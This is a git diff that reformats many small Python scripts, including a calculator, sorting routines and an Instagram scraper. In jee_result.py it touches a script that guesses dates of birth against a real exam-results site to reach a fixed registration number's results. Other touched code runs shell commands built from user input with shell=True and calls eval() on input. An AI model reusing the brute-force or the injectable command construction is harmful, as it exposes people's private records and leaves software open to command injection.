global x if x == 1: @@ -90,39 +113,45 @@ def equals(): txt1.insert(0, c) elif x == 3: - c = multiply.b*(eval(txt1.get())) + c = multiply.b * (eval(txt1.get())) cls() txt1.insert(0, c) elif x == 4: - c = divide.b/(eval(txt1.get())) + c = divide.b / (eval(txt1.get())) cls() - txt1.insert(0,c) + txt1.insert(0, c) + def cls(): global x x = 0 txt1.delete(0, END) + def multiply(): global x - multiply.b = (eval(txt1.get())) + multiply.b = eval(txt1.get()) txt1.delete(0, END) x = x + 3 + def divide(): global x - divide.b = (eval(txt1.get())) + divide.b = eval(txt1.get()) txt1.delete(0, END) x = x + 4 -#Labels -lbl1 = Label(w, text="Calculatorax", font=("Times New Roman", 35), fg="#232226", bg="#fc9d03") +# Labels -#Entryboxes +lbl1 = Label( + w, text="Calculatorax", font=("Times New Roman", 35), fg="#232226", bg="#fc9d03" +) + +# Entryboxes txt1 = Entry(w, width=80, font=30) -#Buttons +# Buttons btn1 = Button(w, text="1", font=("Unispace", 25), command=calc1, bg="#c3c6d9") btn2 = Button(w, text="2", font=("Unispace", 25), command=calc2, bg="#c3c6d9") @@ -136,21 +165,43 @@ def divide(): btn0 = Button(w, text="0", font=("Unispace", 25), command=calc0, bg="#c3c6d9") btn_addition = Button(w, text="+", font=("Unispace", 26), command=add, bg="#3954ed") -btn_equals = Button(w, text="Calculate", font=("Unispace", 24,), command=equals, bg="#e876e6") -btn_clear = Button(w, text="Clear", font=("Unispace", 24,), command=cls, bg="#e876e6") -btn_subtract = Button(w, text="-", font=("Unispace", 26), command=subtract, bg="#3954ed") -btn_multiplication = Button(w, text="x", font=("Unispace", 26), command=multiply, bg="#3954ed") +btn_equals = Button( + w, + text="Calculate", + font=( + "Unispace", + 24, + ), + command=equals, + bg="#e876e6", +) +btn_clear = Button( + w, + text="Clear", + font=( + "Unispace", + 24, + ), + command=cls, + bg="#e876e6", +) +btn_subtract = Button( + w, text="-", font=("Unispace", 26), command=subtract, bg="#3954ed" +) +btn_multiplication = Button( + w, text="x", font=("Unispace", 26), command=multiply, bg="#3954ed" +) btn_division = Button(w, text="÷", font=("Unispace", 26), command=divide, bg="#3954ed") -#Placements(Labels) +# Placements(Labels) + +lbl1.place(x=120, y=0) -lbl1.place(x=120,y=0) +# Placements(entrybox) -#Placements(entrybox) - txt1.place(x=7, y=50, height=35) -#Placements(Buttons) +# Placements(Buttons) btn1.place(x=50, y=100) btn2.place(x=120, y=100) btn3.place(x=190, y=100) @@ -170,4 +221,3 @@ def divide(): btn_division.place(x=360, y=200) w.mainloop() - diff --git a/heap_sort.py b/heap_sort.py index e92e5aafaa6..f0ca5a5252b 100644 --- a/heap_sort.py +++ b/heap_sort.py @@ -3,6 +3,7 @@ # and places it at the end. We repeat the process until the list is sorted. # The sort algorithm has a time complexity of O(nlogn) + def refineHeap(arr, n, i): # Initialize the largest entry as the root of the heap largest = i @@ -30,7 +31,7 @@ def heapSort(arr): n = len(arr) # Make a heap - for i in range(n//2 - 1, -1, -1): + for i in range(n // 2 - 1, -1, -1): refineHeap(arr, n, i) # Extract elements individually @@ -39,9 +40,10 @@ def heapSort(arr): arr[i], arr[0] = arr[0], arr[i] refineHeap(arr, i, 0) + # Code that will run on start arr = [15, 29, 9, 3, 16, 7, 66, 4] print("Unsorted Array: ", arr) heapSort(arr) n = len(arr) -print("Sorted array: ", arr) \ No newline at end of file +print("Sorted array: ", arr) diff --git a/helloworld.py b/helloworld.py index 85df0a7c2b0..aa58112bf57 100644 --- a/helloworld.py +++ b/helloworld.py @@ -2,6 +2,7 @@ # This program prints Hello, world! import time + print("Hello I'm Geek! Let's Execute Your Code!") time.sleep(1) print("Starting Our Code!") @@ -16,7 +17,9 @@ time.sleep(1) print("A Quick Tip!") time.sleep(1) -print("make sure to use the same type of quotes(quotation marks or apostrophes)at the end that you used at the start") +print( + "make sure to use the same type of quotes(quotation marks or apostrophes)at the end that you used at the start" +) # in c -> printf("Hello World!"); # in java -> System.out.println("Hello World!"); @@ -27,5 +30,5 @@ # in javascript - > console.log("Hello World") or document.write("Hello World!") time.sleep(2) print("All The Best!") -#Adios! +# Adios! # master diff --git a/image2pdf/image2pdf.py b/image2pdf/image2pdf.py index 59ece664e7f..7527836c7eb 100644 --- a/image2pdf/image2pdf.py +++ b/image2pdf/image2pdf.py @@ -1,49 +1,42 @@ from PIL import Image import os + class image2pdf: def __init__(self): - self.validFormats = ( - '.jpg', - '.jpeg', - '.png', - '.JPG', - '.PNG' - ) + self.validFormats = (".jpg", ".jpeg", ".png", ".JPG", ".PNG") self.pictures = [] self.files = os.listdir() self.convertPictures() - input('Done ..... (Press Any Key To Exit)') + input("Done ..... (Press Any Key To Exit)") - def filter(self, item): return item.endswith(self.validFormats) - def sortFiles(self): return sorted(self.files) - def getPictures(self): pictures = list(filter(self.filter, self.sortFiles())) if self.isEmpty(pictures): - print(" [Error] there are no pictrues in the directory ! ") - raise Exception(" [Error] there are no pictrues in the directory !") - print('pictures are : \n {}'.format(pictures)) + print(" [Error] there are no pictrues in the directory ! ") + raise Exception(" [Error] there are no pictrues in the directory !") + print("pictures are : \n {}".format(pictures)) return pictures def isEmpty(self, items): - return True if len(items) == 0 else False + return True if len(items) == 0 else False def convertPictures(self): for picture in self.getPictures(): - self.pictures.append(Image.open(picture).convert('RGB')) + self.pictures.append(Image.open(picture).convert("RGB")) self.save() - def save(self): - self.pictures[0].save('result.pdf', save_all=True, append_images=self.pictures[1:]) - + self.pictures[0].save( + "result.pdf", save_all=True, append_images=self.pictures[1:] + ) + if __name__ == "__main__": image2pdf() diff --git a/input matrice,product any order!.py b/input matrice,product any order!.py index fe61a31edd6..d0e3223e4c4 100644 --- a/input matrice,product any order!.py +++ b/input matrice,product any order!.py @@ -1,66 +1,66 @@ -#inputing 2 matrices: +# inputing 2 matrices: -#matrice 1: +# matrice 1: -rows=int(input("Enter the number of rows of the matrice 1")) -coloumns=int(input("Enter the coloumns of the matrice 1")) -matrice=[] -rowan=[] +rows = int(input("Enter the number of rows of the matrice 1")) +coloumns = int(input("Enter the coloumns of the matrice 1")) +matrice = [] +rowan = [] -for i in range (0,rows): - for j in range(0,coloumns): - element=int(input("enter the element")) +for i in range(0, rows): + for j in range(0, coloumns): + element = int(input("enter the element")) rowan.append(element) print("one row completed") matrice.append(rowan) - rowan=[] + rowan = [] -print("matrice 1 is \n") +print("matrice 1 is \n") for ch in matrice: print(ch) -A=matrice +A = matrice -#matrice 2: +# matrice 2: -rows_=coloumns -coloumns_=int(input("Enter the coloumns of the matrice 2")) -rowan=[] -matrix=[] +rows_ = coloumns +coloumns_ = int(input("Enter the coloumns of the matrice 2")) +rowan = [] +matrix = [] -for i in range (0,rows_): - for j in range(0,coloumns_): - element=int(input("enter the element")) +for i in range(0, rows_): + for j in range(0, coloumns_): + element = int(input("enter the element")) rowan.append(element) print("one row completed") matrix.append(rowan) - rowan=[] + rowan = [] -print("Matrice 2 is\n") +print("Matrice 2 is\n") for ch in matrix: print(ch) -B=matrix +B = matrix -#creating empty frame: +# creating empty frame: -result=[] -for i in range(0,rows): - for j in range(0,coloumns_): +result = [] +for i in range(0, rows): + for j in range(0, coloumns_): rowan.append(0) - result.append(rowan) - rowan=[] + result.append(rowan) + rowan = [] print("\n") print("The frame work of result") for ch in result: print(ch) - -#Multiplication of the two matrices: - + +# Multiplication of the two matrices: + for i in range(len(A)): for j in range(len(B[0])): for k in range(len(B)): - result[i][j] +=A[i][k]* B[k][j] + result[i][j] += A[i][k] * B[k][j] print("\n") print("The product of the 2 matrices is \n") diff --git a/insertion_sort.py b/insertion_sort.py index ea933c46f52..8ea77cb9552 100644 --- a/insertion_sort.py +++ b/insertion_sort.py @@ -1,64 +1,64 @@ -#insertion sort +# insertion sort list = [] # declaring list def input_list(): - #taking length and then values of list as input from user + # taking length and then values of list as input from user n = int(input("Enter number of elements in the list: ")) # taking value from user for i in range(n): - temp = int(input("Enter element " + str(i + 1) + ': ')) - list.append( temp ) + temp = int(input("Enter element " + str(i + 1) + ": ")) + list.append(temp) -def insertion_sort(list,n): +def insertion_sort(list, n): """ sort list in assending order - INPUT: + INPUT: list=list of values to be sorted n=size of list that contains values to be sorted OUTPUT: list of sorted values in assending order """ - for i in range(0,n): + for i in range(0, n): key = list[i] j = i - 1 - #Swap elements witth key iff they are - #greater than key + # Swap elements witth key iff they are + # greater than key while j >= 0 and list[j] > key: list[j + 1] = list[j] j = j - 1 - list[j + 1] = key + list[j + 1] = key return list -def insertion_sort_desc(list,n): +def insertion_sort_desc(list, n): """ sort list in desending order - INPUT: + INPUT: list=list of values to be sorted n=size of list that contains values to be sorted OUTPUT: list of sorted values in desending order """ - for i in range(0,n): + for i in range(0, n): key = list[i] j = i - 1 - #Swap elements witth key iff they are - #greater than key + # Swap elements witth key iff they are + # greater than key while j >= 0 and list[j] < key: list[j + 1] = list[j] j = j - 1 list[j + 1] = key - return list + return list input_list() -list1=insertion_sort(list,len(list)) +list1 = insertion_sort(list, len(list)) print(list1) -list2=insertion_sort_desc(list,len(list)) -print(list2) \ No newline at end of file +list2 = insertion_sort_desc(list, len(list)) +print(list2) diff --git a/insta_monitering/insta_api.py b/insta_monitering/insta_api.py index 3f3b2885537..957f240730d 100644 --- a/insta_monitering/insta_api.py +++ b/insta_monitering/insta_api.py @@ -42,7 +42,11 @@ def get(self): temp["userId"] = user temp["status"] = True temp["productId"] = productId - print("{0}, {1}, {2}, {3}".format(temp["userId"], temp["productId"], temp["query"], temp["status"])) + print( + "{0}, {1}, {2}, {3}".format( + temp["userId"], temp["productId"], temp["query"], temp["status"] + ) + ) self.write(ujson.dumps(temp)) @@ -62,7 +66,11 @@ def get(self): temp["userId"] = user temp["productId"] = productId temp["status"] = result - print("{0}, {1}, {2}, {3}".format(temp["userId"], temp["productId"], temp["query"], temp["status"])) + print( + "{0}, {1}, {2}, {3}".format( + temp["userId"], temp["productId"], temp["query"], temp["status"] + ) + ) self.write(ujson.dumps(temp)) @@ -82,7 +90,11 @@ def get(self): temp["userId"] = user temp["status"] = result temp["productId"] = productId - print("{0}, {1}, {2}, {3}".format(temp["userId"], temp["productId"], temp["query"], temp["status"])) + print( + "{0}, {1}, {2}, {3}".format( + temp["userId"], temp["productId"], temp["query"], temp["status"] + ) + ) self.write(ujson.dumps(temp)) @@ -99,6 +111,7 @@ def get(self): # data = recordsobj.dbFetcher() # self.write(data) + class SenderHandlerinstaLess(tornado.web.RequestHandler): def get(self): try: @@ -133,12 +146,16 @@ def get(self): self.write(data) -if __name__ == '__main__': - application = tornado.web.Application([(r"/instagram/monitoring/start", StartHandlerinsta), - (r"/instagram/monitoring/stop", StopHandlerinsta), - (r"/instagram/monitoring/status", StatusHandlerinsta), - (r"/instagram/monitoring/less", SenderHandlerinstaLess), - (r"/instagram/monitoring/greater", SenderHandlerinstaGreater), ]) +if __name__ == "__main__": + application = tornado.web.Application( + [ + (r"/instagram/monitoring/start", StartHandlerinsta), + (r"/instagram/monitoring/stop", StopHandlerinsta), + (r"/instagram/monitoring/status", StatusHandlerinsta), + (r"/instagram/monitoring/less", SenderHandlerinstaLess), + (r"/instagram/monitoring/greater", SenderHandlerinstaGreater), + ] + ) application.listen(7074) print("server running") diff --git a/insta_monitering/insta_datafetcher.py b/insta_monitering/insta_datafetcher.py index b6ed4454643..8c5ed78b902 100644 --- a/insta_monitering/insta_datafetcher.py +++ b/insta_monitering/insta_datafetcher.py @@ -25,7 +25,6 @@ class PorxyApplyingDecorator(object): - def __init__(self): filename = os.getcwd() + "/" + "ipList.txt" with open(filename, "r") as f: @@ -35,12 +34,14 @@ def __init__(self): def __call__(self, function_to_call_for_appling_proxy): SOCKS5_PROXY_HOST = self._IP # default_socket = socket.socket - socks.set_default_proxy(socks.SOCKS5, - SOCKS5_PROXY_HOST, - config.SOCKS5_PROXY_PORT, - True, - config.auth, - config.passcode) + socks.set_default_proxy( + socks.SOCKS5, + SOCKS5_PROXY_HOST, + config.SOCKS5_PROXY_PORT, + True, + config.auth, + config.passcode, + ) socket.socket = socks.socksocket def wrapper_function(url): @@ -54,13 +55,13 @@ def wrapper_function(url): async def dataprocess(htmldata): bs4obj = bs4.BeautifulSoup(htmldata, "html.parser") scriptsdata = bs4obj.findAll("script", {"type": "text/javascript"}) - datatext = '' + datatext = "" for i in scriptsdata: datatext = i.text if "window._sharedData =" in datatext: break datajson = re.findall("{(.*)}", datatext) - datajson = '{' + datajson[0] + '}' + datajson = "{" + datajson[0] + "}" datadict = ujson.loads(datajson) maindict = {} datadict = datadict["entry_data"]["PostPage"][0]["graphql"]["shortcode_media"] @@ -76,14 +77,17 @@ async def dataprocess(htmldata): async def datapullpost(future, url): while True: + @PorxyApplyingDecorator() async def request_pull(url): data = None print(url) urllib3.disable_warnings() - user_agent = {'User-agent': 'Mozilla/17.0'} + user_agent = {"User-agent": "Mozilla/17.0"} try: - data = requests.get(url=url, headers=user_agent, timeout=10, verify=False).text + data = requests.get( + url=url, headers=user_agent, timeout=10, verify=False + ).text except Exception as e: print(e) data = None @@ -98,8 +102,7 @@ async def request_pull(url): future.set_result(data) -class MoniteringClass(): - +class MoniteringClass: def __init__(self, user, tags, type, productId): try: @@ -120,8 +123,8 @@ def _dataProcessing(self, data): try: if not isinstance(data, dict): raise Exception - media_post = data['tag']["media"]["nodes"] - top_post = data['tag']["top_posts"]["nodes"] + media_post = data["tag"]["media"]["nodes"] + top_post = data["tag"]["top_posts"]["nodes"] print("media post ::", len(media_post)) print("top_post::", len(top_post)) futures = [] @@ -197,14 +200,17 @@ def _lastProcess(self, userdata, media_post, top_post): def request_data_from_instagram(self): try: while True: + @PorxyApplyingDecorator() def reqest_pull(url): print(url) data = None urllib3.disable_warnings() - user_agent = {'User-agent': 'Mozilla/17.0'} + user_agent = {"User-agent": "Mozilla/17.0"} try: - data = requests.get(url=url, headers=user_agent, timeout=24, verify=False).text + data = requests.get( + url=url, headers=user_agent, timeout=24, verify=False + ).text except Exception as err: print(f"Exception : {err}") data = None @@ -216,7 +222,9 @@ def reqest_pull(url): break datadict = ujson.loads(data) userdata, media_post, top_post = self._dataProcessing(datadict) - finallydata = (self._lastProcess(userdata=userdata, media_post=media_post, top_post=top_post)) + finallydata = self._lastProcess( + userdata=userdata, media_post=media_post, top_post=top_post + ) # print(ujson.dumps(finallydata)) except Exception as e: print(f"exception : {e}\n") @@ -236,7 +244,6 @@ def hashtags(user, tags, type, productId): class theradPorcess(multiprocessing.Process): - def __init__(self, user, tags, type, productId): try: multiprocessing.Process.__init__(self) @@ -250,14 +257,15 @@ def __init__(self, user, tags, type, productId): def run(self): try: - hashtags(user=self.user, tags=self.tags, type=self.type, productId=self.productId) + hashtags( + user=self.user, tags=self.tags, type=self.type, productId=self.productId + ) except Exception as err: print(f"exception : {err}\n") print("error::run>>", sys.exc_info()[1]) -class InstaPorcessClass(): - +class InstaPorcessClass: def _dbProcessReader(self, user, tags, productId): value = True mon = pymongo.MongoClient(host=config.host, port=config.mongoPort) @@ -353,8 +361,7 @@ def statusCheck(self, user, tags, productId): return result -class DBDataFetcher(): - +class DBDataFetcher: def __init__(self, user, tags, type, productId): try: self.mon = pymongo.MongoClient(host=config.host, port=config.mongoPort) @@ -387,9 +394,15 @@ def DBFetcherGreater(self, limit, date): limit = int(limit) date = int(date) if date != 0: - doc = self._collection.find({"date": {"$gt": date}}).sort("date", pymongo.ASCENDING).limit(limit) + doc = ( + self._collection.find({"date": {"$gt": date}}) + .sort("date", pymongo.ASCENDING) + .limit(limit) + ) else: - doc = self._collection.find().sort("date", pymongo.ASCENDING).limit(limit) + doc = ( + self._collection.find().sort("date", pymongo.ASCENDING).limit(limit) + ) for i in doc: del i["_id"] mainlist.append(i) @@ -411,7 +424,11 @@ def DBFetcherLess(self, limit, date): raise Exception limit = int(limit) date = int(date) - doc = self._collection.find({"date": {"$lt": date}}).limit(limit).sort("date", pymongo.DESCENDING) + doc = ( + self._collection.find({"date": {"$lt": date}}) + .limit(limit) + .sort("date", pymongo.DESCENDING) + ) for i in doc: del i["_id"] mainlist.append(i) @@ -441,5 +458,5 @@ def main(): print("error::main>>", sys.exc_info()[1]) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/insta_monitering/subpinsta.py b/insta_monitering/subpinsta.py index d4e20529803..6e234063c75 100644 --- a/insta_monitering/subpinsta.py +++ b/insta_monitering/subpinsta.py @@ -7,7 +7,17 @@ def instasubprocess(user, tags, type, productId): try: child_env = sys.executable - file_pocessing = os.getcwd() + "/insta_datafetcher.py " + user + " " + tags + " " + type + " " + productId + file_pocessing = ( + os.getcwd() + + "/insta_datafetcher.py " + + user + + " " + + tags + + " " + + type + + " " + + productId + ) command = child_env + " " + file_pocessing result = subprocess.Popen(command, shell=True) result.wait() @@ -15,5 +25,5 @@ def instasubprocess(user, tags, type, productId): print("error::instasubprocess>>", sys.exc_info()[1]) -if __name__ == '__main__': +if __name__ == "__main__": instasubprocess(user="u2", tags="food", type="hashtags", productId="abc") diff --git a/internet_connection_py3.py b/internet_connection_py3.py index bad7f3d852e..46ec09fdba9 100644 --- a/internet_connection_py3.py +++ b/internet_connection_py3.py @@ -8,11 +8,13 @@ print("Testing Internet Connection") print() try: - urllib.request.urlopen("http://google.com", timeout=2) # Tests if connection is up and running + urllib.request.urlopen( + "http://google.com", timeout=2 + ) # Tests if connection is up and running print("Internet is working fine!") print() question = input("Do you want to open a website? (Y/N): ") - if question == 'Y': + if question == "Y": print() search = input("Input website to open (http://website.com) : ") else: @@ -23,6 +25,6 @@ browser = webdriver.Firefox() browser.get(search) -os.system('cls') # os.system('clear') if Linux +os.system("cls") # os.system('clear') if Linux print("[+] Website " + search + " opened!") browser.close() diff --git a/invisible_clock.py b/invisible_clock.py index cfc69f807f5..17f6d97b106 100644 --- a/invisible_clock.py +++ b/invisible_clock.py @@ -1,62 +1,65 @@ # Hey you need red color cloak import cv2 -#superinposing two images + +# superinposing two images import numpy as np import time -cap= cv2.VideoCapture(0) +cap = cv2.VideoCapture(0) -time.sleep(2) # 2 sec time to adjust cam with time +time.sleep(2) # 2 sec time to adjust cam with time background = 0 -#capturing the background -for i in range(30): # 30 times - ret , background = cap.read() +# capturing the background +for i in range(30): # 30 times + ret, background = cap.read() -while (cap.isOpened()): +while cap.isOpened(): ret, img = cap.read() if not ret: break - hsv= cv2.cvtColor(img, cv2.COLOR_BGR2HSV) - #hsv values for red color - lower_red =np.array([0,120,70]) - upper_red= np.array([10,255,255]) + hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV) + # hsv values for red color + lower_red = np.array([0, 120, 70]) + upper_red = np.array([10, 255, 255]) - mask1= cv2.inRange(hsv, lower_red, upper_red) #seperating the cloak part + mask1 = cv2.inRange(hsv, lower_red, upper_red) # seperating the cloak part - lower_red= np.array([170,120,70]) - upper_red= np.array([180, 255, 255]) + lower_red = np.array([170, 120, 70]) + upper_red = np.array([180, 255, 255]) - mask2= cv2.inRange(hsv, lower_red, upper_red) + mask2 = cv2.inRange(hsv, lower_red, upper_red) - mask1= mask1+ mask2 # OR (Combining) -# #remove noise - mask1=cv2.morphologyEx(mask1, cv2.MORPH_OPEN,np.ones((3,3),np.uint8), iterations=2) + mask1 = mask1 + mask2 # OR (Combining) + # #remove noise + mask1 = cv2.morphologyEx( + mask1, cv2.MORPH_OPEN, np.ones((3, 3), np.uint8), iterations=2 + ) - mask1 =cv2.morphologyEx(mask1, cv2.MORPH_DILATE, np.ones((3,3), np.uint8),iterations=1) + mask1 = cv2.morphologyEx( + mask1, cv2.MORPH_DILATE, np.ones((3, 3), np.uint8), iterations=1 + ) -#mask2 --> Everything except cloak - mask2= cv2.bitwise_not(mask1) + # mask2 --> Everything except cloak + mask2 = cv2.bitwise_not(mask1) - res1= cv2.bitwise_and(background, background, mask=mask1) #used for segmentation - res2= cv2.bitwise_and(img, img, mask= mask2) #used to substitute the cloak part + res1 = cv2.bitwise_and(background, background, mask=mask1) # used for segmentation + res2 = cv2.bitwise_and(img, img, mask=mask2) # used to substitute the cloak part - final_output= cv2.addWeighted(res1, 1, res2, 1, 0) + final_output = cv2.addWeighted(res1, 1, res2, 1, 0) cv2.imshow("Eureka !", final_output) - if cv2.waitKey(1) == 13: + if cv2.waitKey(1) == 13: break cap.release() cv2.destroyAllWindows() -#Press enter to get out of window - - +# Press enter to get out of window diff --git a/iprint.py b/iprint.py index 9671849a5e3..4acc45041d0 100644 --- a/iprint.py +++ b/iprint.py @@ -5,8 +5,8 @@ ap = "" for let in range(len(txt) - 1): - ap += txt[let] - print(ap, end="\r") - sleep(.1) - + ap += txt[let] + print(ap, end="\r") + sleep(0.1) + print(txt, end="") diff --git a/jee_result.py b/jee_result.py index db29c4d0d01..7aa6046a50b 100644 --- a/jee_result.py +++ b/jee_result.py @@ -9,17 +9,16 @@ # Disable loading robots.txt b.set_handle_robots(False) -b.addheaders = [('User-agent', - 'Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;)')] +b.addheaders = [("User-agent", "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;)")] # Navigate -b.open('http://cbseresults.nic.in/jee/jee_2015.htm') +b.open("http://cbseresults.nic.in/jee/jee_2015.htm") # Choose a form b.select_form(nr=0) # Fill it out -b['regno'] = '37000304' +b["regno"] = "37000304" currentdate = datetime.date(1997, 3, 10) enddate = datetime.date(1998, 4, 1) @@ -29,22 +28,22 @@ yyyymmdd = currentdate.strftime("%Y/%m/%d") ddmmyyyy = yyyymmdd[8:] + "/" + yyyymmdd[5:7] + "/" + yyyymmdd[:4] print(ddmmyyyy) - b.open('http://cbseresults.nic.in/jee/jee_2015.htm') + b.open("http://cbseresults.nic.in/jee/jee_2015.htm") b.select_form(nr=0) - b['regno'] = '37000304' - b['dob'] = ddmmyyyy + b["regno"] = "37000304" + b["dob"] = ddmmyyyy fd = b.submit() # print(fd.read()) - soup = BeautifulSoup(fd.read(), 'html.parser') + soup = BeautifulSoup(fd.read(), "html.parser") - for writ in soup.find_all('table'): - ct = ct + 1; + for writ in soup.find_all("table"): + ct = ct + 1 # print (ct) if ct == 6: print("---fail---") else: print("--true--") - break; + break currentdate += datetime.timedelta(days=1) # print fd.read() diff --git a/kmp_str_search.py b/kmp_str_search.py index e32536ec40b..cae439949b9 100644 --- a/kmp_str_search.py +++ b/kmp_str_search.py @@ -38,7 +38,7 @@ def kmp(pattern, text, len_p=None, len_t=None): return False -if __name__ == '__main__': +if __name__ == "__main__": # Test 1) pattern = "abc1abc12" text1 = "alskfjaldsabc1abc1abc12k23adsfabcabc" diff --git a/lcm.py b/lcm.py index 975e68fa972..d190946689c 100644 --- a/lcm.py +++ b/lcm.py @@ -3,15 +3,23 @@ def lcm(x, y): greater_number = x else: greater_number = y - - while(True): - if((greater_number % x == 0) and (greater_number % y == 0)): + + while True: + if (greater_number % x == 0) and (greater_number % y == 0): lcm = greater_number break greater_number += 1 return lcm -num_1 = int(input('Enter first number: ')) -num_2 = int(input('Enter second number: ')) -print('The L.C.M. of '+str(num_1)+' and '+str(num_2)+' is '+str(lcm(num_1,num_2))) \ No newline at end of file +num_1 = int(input("Enter first number: ")) +num_2 = int(input("Enter second number: ")) + +print( + "The L.C.M. of " + + str(num_1) + + " and " + + str(num_2) + + " is " + + str(lcm(num_1, num_2)) +) diff --git a/length.py b/length.py index e876e50f3a3..257c62a4be7 100644 --- a/length.py +++ b/length.py @@ -4,5 +4,5 @@ # counter variable to count the character in a string counter = 0 for s in str: - counter = counter+1 + counter = counter + 1 print("Length of the input string is:", counter) diff --git a/letter_frequency.py b/letter_frequency.py index dacfdc5edb2..c1c9eedb411 100644 --- a/letter_frequency.py +++ b/letter_frequency.py @@ -1,11 +1,12 @@ # counting the number of occurrences of a letter in a string using defaultdict # left space in starting for clarity from collections import defaultdict -s = 'mississippi' + +s = "mississippi" d = defaultdict(int) for k in s: - d[k] += 1 + d[k] += 1 sorted(d.items()) print(d) - + # OUTPUT --- [('i', 4), ('m', 1), ('p', 2), ('s', 4)] diff --git a/levenshtein_distance.py b/levenshtein_distance.py index bfe8c20161c..1dde234f490 100644 --- a/levenshtein_distance.py +++ b/levenshtein_distance.py @@ -1,11 +1,9 @@ - def levenshtein_dis(wordA, wordB): - - wordA = wordA.lower() #making the wordA lower case - wordB = wordB.lower() #making the wordB lower case + wordA = wordA.lower() # making the wordA lower case + wordB = wordB.lower() # making the wordB lower case - #get the length of the words and defining the variables + # get the length of the words and defining the variables length_A = len(wordA) length_B = len(wordB) max_len = 0 @@ -13,11 +11,10 @@ def levenshtein_dis(wordA, wordB): distances = [] distance = 0 - - #check the difference of the word to decide how many letter should be delete or add - #also store that value in the 'diff' variable and get the max length of the user given words + # check the difference of the word to decide how many letter should be delete or add + # also store that value in the 'diff' variable and get the max length of the user given words if length_A > length_B: - diff = length_A - length_B + diff = length_A - length_B max_len = length_A elif length_A < length_B: diff = length_B - length_A @@ -26,27 +23,26 @@ def levenshtein_dis(wordA, wordB): diff = 0 max_len = length_A - - #starting from the front of the words and compare the letters of the both user given words - for x in range(max_len-diff): + # starting from the front of the words and compare the letters of the both user given words + for x in range(max_len - diff): if wordA[x] != wordB[x]: distance += 1 - - #add the 'distance' value to the 'distances' array + + # add the 'distance' value to the 'distances' array distances.append(distance) distance = 0 - #starting from the back of the words and compare the letters of the both user given words - for x in range(max_len-diff): - if wordA[-(x+1)] != wordB[-(x+1)]: + # starting from the back of the words and compare the letters of the both user given words + for x in range(max_len - diff): + if wordA[-(x + 1)] != wordB[-(x + 1)]: distance += 1 - #add the 'distance' value to the 'distances' array + # add the 'distance' value to the 'distances' array distances.append(distance) - #get the minimun value of the 'distances' array and add it with the 'diff' values and - #store them in the 'diff' variable + # get the minimun value of the 'distances' array and add it with the 'diff' values and + # store them in the 'diff' variable diff = diff + min(distances) - #return the value + # return the value return diff diff --git a/linear-algebra-python/src/Transformations2D.py b/linear-algebra-python/src/Transformations2D.py index ef4ea3de500..58eb681adae 100644 --- a/linear-algebra-python/src/Transformations2D.py +++ b/linear-algebra-python/src/Transformations2D.py @@ -1,43 +1,45 @@ -#2D Transformations are regularly used in Linear Algebra. +# 2D Transformations are regularly used in Linear Algebra. -#I have added the codes for reflection, projection, scaling and rotation matrices. +# I have added the codes for reflection, projection, scaling and rotation matrices. import numpy as np + def scaling(scaling_factor): - return(scaling_factor*(np.identity(2))) #This returns a scaling matrix + return scaling_factor * (np.identity(2)) # This returns a scaling matrix + def rotation(angle): - arr = np.empty([2, 2]) - c = np.cos(angle) - s = np.sin(angle) - arr[0][0] = c - arr[0][1] = -s - arr[1][0] = s - arr[1][1] = c + arr = np.empty([2, 2]) + c = np.cos(angle) + s = np.sin(angle) + arr[0][0] = c + arr[0][1] = -s + arr[1][0] = s + arr[1][1] = c + + return arr # This returns a rotation matrix - return arr #This returns a rotation matrix - def projection(angle): - arr = np.empty([2, 2]) - c = np.cos(angle) - s = np.sin(angle) - arr[0][0] = c*c - arr[0][1] = c*s - arr[1][0] = c*s - arr[1][1] = s*s + arr = np.empty([2, 2]) + c = np.cos(angle) + s = np.sin(angle) + arr[0][0] = c * c + arr[0][1] = c * s + arr[1][0] = c * s + arr[1][1] = s * s - return arr #This returns a rotation matrix + return arr # This returns a rotation matrix def reflection(angle): - arr = np.empty([2, 2]) - c = np.cos(angle) - s = np.sin(angle) - arr[0][0] = (2*c) -1 - arr[0][1] = 2*s*c - arr[1][0] = 2*s*c - arr[1][1] = (2*s) -1 - - return arr #This returns a reflection matrix + arr = np.empty([2, 2]) + c = np.cos(angle) + s = np.sin(angle) + arr[0][0] = (2 * c) - 1 + arr[0][1] = 2 * s * c + arr[1][0] = 2 * s * c + arr[1][1] = (2 * s) - 1 + + return arr # This returns a reflection matrix diff --git a/linear-algebra-python/src/lib.py b/linear-algebra-python/src/lib.py index 5edbff23a87..9719d915bd2 100644 --- a/linear-algebra-python/src/lib.py +++ b/linear-algebra-python/src/lib.py @@ -26,37 +26,37 @@ class Vector(object): """ - This class represents a vector of arbitray size. - You need to give the vector components. - - Overview about the methods: - - constructor(components : list) : init the vector - set(components : list) : changes the vector components. - __str__() : toString method - component(i : int): gets the i-th component (start by 0) - size() : gets the size of the vector (number of components) - euclidLength() : returns the eulidean length of the vector. - operator + : vector addition - operator - : vector subtraction - operator * : scalar multiplication and dot product - copy() : copies this vector and returns it. - changeComponent(pos,value) : changes the specified component. - TODO: compare-operator + This class represents a vector of arbitray size. + You need to give the vector components. + + Overview about the methods: + + constructor(components : list) : init the vector + set(components : list) : changes the vector components. + __str__() : toString method + component(i : int): gets the i-th component (start by 0) + size() : gets the size of the vector (number of components) + euclidLength() : returns the eulidean length of the vector. + operator + : vector addition + operator - : vector subtraction + operator * : scalar multiplication and dot product + copy() : copies this vector and returns it. + changeComponent(pos,value) : changes the specified component. + TODO: compare-operator """ def __init__(self, components): """ - input: components or nothing - simple constructor for init the vector + input: components or nothing + simple constructor for init the vector """ self.__components = components def set(self, components): """ - input: new components - changes the components of the vector. - replace the components with newer one. + input: new components + changes the components of the vector. + replace the components with newer one. """ if len(components) > 0: self.__components = components @@ -65,7 +65,7 @@ def set(self, components): def __str__(self): """ - returns a string representation of the vector + returns a string representation of the vector """ ans = "(" length = len(self.__components) @@ -80,8 +80,8 @@ def __str__(self): def component(self, i): """ - input: index (start at 0) - output: the i-th component of the vector. + input: index (start at 0) + output: the i-th component of the vector. """ if i < len(self.__components) and i >= 0: return self.__components[i] @@ -90,13 +90,13 @@ def component(self, i): def size(self): """ - returns the size of the vector + returns the size of the vector """ return len(self.__components) def eulidLength(self): """ - returns the eulidean length of the vector + returns the eulidean length of the vector """ summe = 0 for c in self.__components: @@ -105,9 +105,9 @@ def eulidLength(self): def __add__(self, other): """ - input: other vector - assumes: other vector has the 